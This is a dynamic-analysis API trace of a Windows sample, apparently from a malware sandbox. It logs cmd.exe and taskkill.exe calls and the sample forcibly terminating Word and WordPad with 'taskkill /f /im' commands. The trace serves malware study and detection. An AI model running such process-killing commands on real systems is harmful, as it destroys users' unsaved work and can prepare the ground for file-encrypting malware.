	[0049.255] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0049.255] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0049.255] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0049.255] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0049.255] GetProcessHeap () returned 0x530000
	[0049.255] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x530a10 | out: hHeap=0x530000) returned 1
	[0049.255] GetProcessHeap () returned 0x530000
	[0049.255] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0xa) returned 0x53fee0
	[0049.255] lstrcmpW (lpString1="\\taskkill.exe", lpString2="\\XCOPY.EXE") returned -1
	[0049.257] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\taskkill.exe", lpCommandLine="taskkill  /f /im winword.exe ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x30f110*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="taskkill  /f /im winword.exe ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x30f15c | out: lpCommandLine="taskkill  /f /im winword.exe ", lpProcessInformation=0x30f15c*(hProcess=0x78, hThread=0x74, dwProcessId=0x1e8, dwThreadId=0x178)) returned 1
	[0049.262] CloseHandle (hObject=0x74) returned 1
	[0049.262] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0049.262] GetProcessHeap () returned 0x530000
	[0049.262] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x545ed0 | out: hHeap=0x530000) returned 1
	[0049.262] GetEnvironmentStringsW () returned 0x554a48*
	[0049.262] GetProcessHeap () returned 0x530000
	[0049.262] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0xb36) returned 0x544090
	[0049.262] FreeEnvironmentStringsW (penv=0x554a48) returned 1
	[0049.262] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0049.539] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x30f050 | out: lpExitCode=0x30f050*=0x80) returned 1
	[0049.539] CloseHandle (hObject=0x78) returned 1
	[0049.539] _vsnwprintf (in: _Buffer=0x30f198, _BufferCount=0x13, _Format="%08X", _ArgList=0x30f05c | out: _Buffer="00000080") returned 8
	[0049.539] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000080") returned 1
	[0049.539] GetProcessHeap () returned 0x530000
	[0049.539] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x544090 | out: hHeap=0x530000) returned 1
	[0049.539] GetEnvironmentStringsW () returned 0x544090*
	[0049.539] GetProcessHeap () returned 0x530000
	[0049.539] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0xb5c) returned 0x545ed0
	[0049.539] FreeEnvironmentStringsW (penv=0x544090) returned 1
	[0049.539] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
	[0049.539] GetProcessHeap () returned 0x530000
	[0049.539] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x545ed0 | out: hHeap=0x530000) returned 1
	[0049.540] GetEnvironmentStringsW () returned 0x544090*
	[0049.540] GetProcessHeap () returned 0x530000
	[0049.540] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0xb5c) returned 0x545ed0
	[0049.540] FreeEnvironmentStringsW (penv=0x544090) returned 1
	[0049.540] GetProcessHeap () returned 0x530000
	[0049.540] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x53fee0 | out: hHeap=0x530000) returned 1
	[0049.540] DeleteProcThreadAttributeList (in: lpAttributeList=0x30f0b4 | out: lpAttributeList=0x30f0b4) 
	[0049.540] _get_osfhandle (_FileHandle=1) returned 0xb8
	[0049.540] SetConsoleMode (hConsoleHandle=0xb8, dwMode=0x0) returned 0
	[0049.540] _get_osfhandle (_FileHandle=1) returned 0xb8
	[0049.540] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x49dd41ac | out: lpMode=0x49dd41ac) returned 0
	[0049.540] _get_osfhandle (_FileHandle=0) returned 0xac
	[0049.540] GetConsoleMode (in: hConsoleHandle=0xac, lpMode=0x49dd41b0 | out: lpMode=0x49dd41b0) returned 0
	[0049.540] GetConsoleOutputCP () returned 0x1b5
	[0049.540] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49dd4260 | out: lpCPInfo=0x49dd4260) returned 1
	[0049.540] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0049.541] exit (_Code=128) 

Process:
	id = "79"
	image_name = "taskkill.exe"
	filename = "c:\\windows\\syswow64\\taskkill.exe"
	page_root = "0x48290000"
	os_pid = "0x1e8"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "78"
	os_parent_pid = "0x7e4"
	cmd_line = "taskkill  /f /im winword.exe "
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 323
	os_tid = 0x178


Thread:
	id = 324
	os_tid = 0x314


Thread:
	id = 325
	os_tid = 0x244


Thread:
	id = 326
	os_tid = 0x648


Thread:
	id = 327
	os_tid = 0x688


Process:
	id = "80"
	image_name = "cmd.exe"
	filename = "c:\\windows\\syswow64\\cmd.exe"
	page_root = "0x48371000"
	os_pid = "0x5a4"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0xad8"
	cmd_line = "cmd.exe /c \"taskkill /f /im wordpad.exe\""
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 328
	os_tid = 0x248

	[0049.634] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1ef8f8 | out: lpSystemTimeAsFileTime=0x1ef8f8*(dwLowDateTime=0x333fe60, dwHighDateTime=0x1d52dc5)) 
	[0049.634] GetCurrentProcessId () returned 0x5a4
	[0049.634] GetCurrentThreadId () returned 0x248
	[0049.634] GetTickCount () returned 0x1c927
	[0049.635] QueryPerformanceCounter (in: lpPerformanceCount=0x1ef8f0 | out: lpPerformanceCount=0x1ef8f0*=16994584574) returned 1
	[0049.637] GetModuleHandleA (lpModuleName=0x0) returned 0x4a020000
	[0049.637] __set_app_type (_Type=0x1) 
	[0049.637] __p__fmode () returned 0x74eb31f4
	[0049.637] __p__commode () returned 0x74eb31fc
	[0049.637] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a0421a6) returned 0x0
	[0049.638] __getmainargs (in: _Argc=0x4a044238, _Argv=0x4a044240, _Env=0x4a04423c, _DoWildCard=0, _StartInfo=0x4a044140 | out: _Argc=0x4a044238, _Argv=0x4a044240, _Env=0x4a04423c) returned 0
	[0049.638] GetCurrentThreadId () returned 0x248
	[0049.638] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x248) returned 0x60
	[0049.638] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000
	[0049.638] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadUILanguage") returned 0x76c4a84f
	[0049.638] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0049.638] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0049.638] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x1ef888 | out: phkResult=0x1ef888*=0x0) returned 0x2
	[0049.639] VirtualQuery (in: lpAddress=0x1ef8bf, lpBuffer=0x1ef858, dwLength=0x1c | out: lpBuffer=0x1ef858*(BaseAddress=0x1ef000, AllocationBase=0xf0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0049.639] VirtualQuery (in: lpAddress=0xf0000, lpBuffer=0x1ef858, dwLength=0x1c | out: lpBuffer=0x1ef858*(BaseAddress=0xf0000, AllocationBase=0xf0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c
	[0049.639] VirtualQuery (in: lpAddress=0xf1000, lpBuffer=0x1ef858, dwLength=0x1c | out: lpBuffer=0x1ef858*(BaseAddress=0xf1000, AllocationBase=0xf0000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c
	[0049.639] VirtualQuery (in: lpAddress=0xf3000, lpBuffer=0x1ef858, dwLength=0x1c | out: lpBuffer=0x1ef858*(BaseAddress=0xf3000, AllocationBase=0xf0000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0049.639] VirtualQuery (in: lpAddress=0x1f0000, lpBuffer=0x1ef858, dwLength=0x1c | out: lpBuffer=0x1ef858*(BaseAddress=0x1f0000, AllocationBase=0x1f0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0049.639] GetConsoleOutputCP () returned 0x1b5
	[0049.639] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a044260 | out: lpCPInfo=0x4a044260) returned 1
	[0049.639] SetConsoleCtrlHandler (HandlerRoutine=0x4a03e72a, Add=1) returned 1
	[0049.639] _get_osfhandle (_FileHandle=1) returned 0xac
	[0049.639] SetConsoleMode (hConsoleHandle=0xac, dwMode=0x0) returned 0
	[0049.639] _get_osfhandle (_FileHandle=1) returned 0xac
	[0049.639] GetConsoleMode (in: hConsoleHandle=0xac, lpMode=0x4a0441ac | out: lpMode=0x4a0441ac) returned 0
	[0049.640] _get_osfhandle (_FileHandle=0) returned 0xc8
	[0049.640] GetConsoleMode (in: hConsoleHandle=0xc8, lpMode=0x4a0441b0 | out: lpMode=0x4a0441b0) returned 0
	[0049.640] GetEnvironmentStringsW () returned 0x3b2008*
	[0049.640] GetProcessHeap () returned 0x3a0000
	[0049.640] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0xaca) returned 0x3b2ae0
	[0049.640] FreeEnvironmentStringsW (penv=0x3b2008) returned 1
	[0049.640] GetProcessHeap () returned 0x3a0000
	[0049.640] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x4) returned 0x3b0c40
	[0049.640] GetEnvironmentStringsW () returned 0x3b2008*
	[0049.640] GetProcessHeap () returned 0x3a0000
	[0049.640] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0xaca) returned 0x3b35b8
	[0049.640] FreeEnvironmentStringsW (penv=0x3b2008) returned 1
	[0049.640] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x1ee7f8 | out: phkResult=0x1ee7f8*=0x68) returned 0x0
	[0049.640] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x1ee800, lpData=0x1ee804, lpcbData=0x1ee7fc*=0x1000 | out: lpType=0x1ee800*=0x0, lpData=0x1ee804*=0x0, lpcbData=0x1ee7fc*=0x1000) returned 0x2
	[0049.641] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x1ee800, lpData=0x1ee804, lpcbData=0x1ee7fc*=0x1000 | out: lpType=0x1ee800*=0x4, lpData=0x1ee804*=0x1, lpcbData=0x1ee7fc*=0x4) returned 0x0
	[0049.641] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x1ee800, lpData=0x1ee804, lpcbData=0x1ee7fc*=0x1000 | out: lpType=0x1ee800*=0x0, lpData=0x1ee804*=0x1, lpcbData=0x1ee7fc*=0x1000) returned 0x2
	[0049.641] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x1ee800, lpData=0x1ee804, lpcbData=0x1ee7fc*=0x1000 | out: lpType=0x1ee800*=0x4, lpData=0x1ee804*=0x0, lpcbData=0x1ee7fc*=0x4) returned 0x0
	[0049.641] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x1ee800, lpData=0x1ee804, lpcbData=0x1ee7fc*=0x1000 | out: lpType=0x1ee800*=0x4, lpData=0x1ee804*=0x40, lpcbData=0x1ee7fc*=0x4) returned 0x0
	[0049.641] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x1ee800, lpData=0x1ee804, lpcbData=0x1ee7fc*=0x1000 | out: lpType=0x1ee800*=0x4, lpData=0x1ee804*=0x40, lpcbData=0x1ee7fc*=0x4) returned 0x0
	[0049.641] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x1ee800, lpData=0x1ee804, lpcbData=0x1ee7fc*=0x1000 | out: lpType=0x1ee800*=0x0, lpData=0x1ee804*=0x40, lpcbData=0x1ee7fc*=0x1000) returned 0x2
	[0049.641] RegCloseKey (hKey=0x68) returned 0x0
	[0049.641] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x1ee7f8 | out: phkResult=0x1ee7f8*=0x68) returned 0x0
	[0049.641] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x1ee800, lpData=0x1ee804, lpcbData=0x1ee7fc*=0x1000 | out: lpType=0x1ee800*=0x0, lpData=0x1ee804*=0x40, lpcbData=0x1ee7fc*=0x1000) returned 0x2
	[0049.641] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x1ee800, lpData=0x1ee804, lpcbData=0x1ee7fc*=0x1000 | out: lpType=0x1ee800*=0x4, lpData=0x1ee804*=0x1, lpcbData=0x1ee7fc*=0x4) returned 0x0
	[0049.641] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x1ee800, lpData=0x1ee804, lpcbData=0x1ee7fc*=0x1000 | out: lpType=0x1ee800*=0x0, lpData=0x1ee804*=0x1, lpcbData=0x1ee7fc*=0x1000) returned 0x2
	[0049.641] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x1ee800, lpData=0x1ee804, lpcbData=0x1ee7fc*=0x1000 | out: lpType=0x1ee800*=0x4, lpData=0x1ee804*=0x0, lpcbData=0x1ee7fc*=0x4) returned 0x0
	[0049.641] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x1ee800, lpData=0x1ee804, lpcbData=0x1ee7fc*=0x1000 | out: lpType=0x1ee800*=0x4, lpData=0x1ee804*=0x9, lpcbData=0x1ee7fc*=0x4) returned 0x0
	[0049.641] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x1ee800, lpData=0x1ee804, lpcbData=0x1ee7fc*=0x1000 | out: lpType=0x1ee800*=0x4, lpData=0x1ee804*=0x9, lpcbData=0x1ee7fc*=0x4) returned 0x0
	[0049.641] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x1ee800, lpData=0x1ee804, lpcbData=0x1ee7fc*=0x1000 | out: lpType=0x1ee800*=0x0, lpData=0x1ee804*=0x9, lpcbData=0x1ee7fc*=0x1000) returned 0x2
	[0049.641] RegCloseKey (hKey=0x68) returned 0x0
	[0049.641] time (in: timer=0x0 | out: timer=0x0) returned 0x5d16303a
	[0049.641] srand (_Seed=0x5d16303a) 
	[0049.641] GetCommandLineW () returned="cmd.exe /c \"taskkill /f /im wordpad.exe\""
	[0049.642] GetCommandLineW () returned="cmd.exe /c \"taskkill /f /im wordpad.exe\""
	[0049.642] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a045260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0049.642] GetProcessHeap () returned 0x3a0000
	[0049.642] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x210) returned 0x3b2008
	[0049.642] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x3b2010, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b
	[0049.642] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a050640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0049.642] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a050640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0049.642] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a050640, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0049.642] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0049.642] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0049.642] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0049.642] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0049.642] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0049.642] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0049.642] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0049.642] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0049.642] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0049.643] GetProcessHeap () returned 0x3a0000
	[0049.643] HeapFree (in: hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3b2ae0 | out: hHeap=0x3a0000) returned 1
	[0049.643] GetEnvironmentStringsW () returned 0x3b2220*
	[0049.643] GetProcessHeap () returned 0x3a0000
	[0049.643] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0xae2) returned 0x3b4b80
	[0049.643] FreeEnvironmentStringsW (penv=0x3b2220) returned 1
	[0049.643] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a050640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0049.643] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a050640, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0049.643] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0049.643] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0049.643] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0049.643] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0049.643] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0049.643] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0049.643] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0049.643] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0049.643] GetProcessHeap () returned 0x3a0000
	[0049.643] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x54) returned 0x3b5670
	[0049.643] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x1ef5c4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0049.643] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x1ef5c4, lpFilePart=0x1ef5c0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1ef5c0*="Desktop") returned 0x25
	[0049.643] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0049.644] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x1ef340 | out: lpFindFileData=0x1ef340*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x3b1e88
	[0049.644] FindClose (in: hFindFile=0x3b1e88 | out: hFindFile=0x3b1e88) returned 1
	[0049.644] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x1ef340 | out: lpFindFileData=0x1ef340*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x3b1e88
	[0049.644] FindClose (in: hFindFile=0x3b1e88 | out: hFindFile=0x3b1e88) returned 1
	[0049.644] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20
	[0049.644] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x1ef340 | out: lpFindFileData=0x1ef340*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf321cc00, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xf321cc00, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x3b1e88
	[0049.644] FindClose (in: hFindFile=0x3b1e88 | out: hFindFile=0x3b1e88) returned 1
	[0049.644] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0049.644] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1
	[0049.644] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1
	[0049.644] GetProcessHeap () returned 0x3a0000
	[0049.644] HeapFree (in: hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3b4b80 | out: hHeap=0x3a0000) returned 1
	[0049.644] GetEnvironmentStringsW () returned 0x3b4090*
	[0049.644] GetProcessHeap () returned 0x3a0000
	[0049.644] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0xb36) returned 0x3b5ed0
	[0049.645] FreeEnvironmentStringsW (penv=0x3b4090) returned 1
	[0049.645] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a045260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0049.645] GetProcessHeap () returned 0x3a0000
	[0049.645] HeapFree (in: hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3b5670 | out: hHeap=0x3a0000) returned 1
	[0049.645] GetProcessHeap () returned 0x3a0000
	[0049.645] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x400e) returned 0x3b6a10
	[0049.645] GetProcessHeap () returned 0x3a0000
	[0049.645] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x48) returned 0x3b1e88
	[0049.645] GetProcessHeap () returned 0x3a0000
	[0049.645] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x4008) returned 0x3baa28
	[0049.645] GetProcessHeap () returned 0x3a0000
	[0049.646] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x4008) returned 0x3bea38
	[0049.647] _wcsnicmp (_String1="task", _String2="cmd ", _MaxCount=0x4) returned 17
	[0049.647] GetProcessHeap () returned 0x3a0000
	[0049.647] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x418) returned 0x3b2d60
	[0049.647] SetErrorMode (uMode=0x0) returned 0x8003
	[0049.647] SetErrorMode (uMode=0x1) returned 0x0
	[0049.647] GetFullPathNameW (in: lpFileName="taskkill \\f \\.", nBufferLength=0x208, lpBuffer=0x3b2d68, lpFilePart=0x1ef53c | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill \\f", lpFilePart=0x1ef53c*="f") returned 0x31
	[0049.647] SetErrorMode (uMode=0x8003) returned 0x1
	[0049.647] GetProcessHeap () returned 0x3a0000
	[0049.648] RtlReAllocateHeap (Heap=0x3a0000, Flags=0x0, Ptr=0x3b2d60, Size=0x8a) returned 0x3b2d60
	[0049.648] GetProcessHeap () returned 0x3a0000
	[0049.648] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3b2d60) returned 0x8a
	[0049.648] NeedCurrentDirectoryForExePathW (ExeName="taskkill \\f \\.") returned 1
	[0049.648] GetProcessHeap () returned 0x3a0000
	[0049.648] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x72) returned 0x3c2a60
	[0049.648] GetProcessHeap () returned 0x3a0000
	[0049.648] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0xd8) returned 0x3b2df8
	[0049.648] GetProcessHeap () returned 0x3a0000
	[0049.648] RtlReAllocateHeap (Heap=0x3a0000, Flags=0x0, Ptr=0x3b2df8, Size=0x72) returned 0x3b2df8
	[0049.648] GetProcessHeap () returned 0x3a0000
	[0049.648] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3b2df8) returned 0x72
	[0049.648] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a050640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0049.648] GetProcessHeap () returned 0x3a0000
	[0049.648] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0xe0) returned 0x3b2e78
	[0049.651] GetProcessHeap () returned 0x3a0000
	[0049.652] RtlReAllocateHeap (Heap=0x3a0000, Flags=0x0, Ptr=0x3b2e78, Size=0x76) returned 0x3b2e78
	[0049.652] GetProcessHeap () returned 0x3a0000
	[0049.652] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3b2e78) returned 0x76
	[0049.652] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0049.652] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill \\f\\im wordpad.exe", fInfoLevelId=0x1, lpFindFileData=0x1ef2d8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1ef2d8) returned 0xffffffff
	[0049.652] GetLastError () returned 0x3
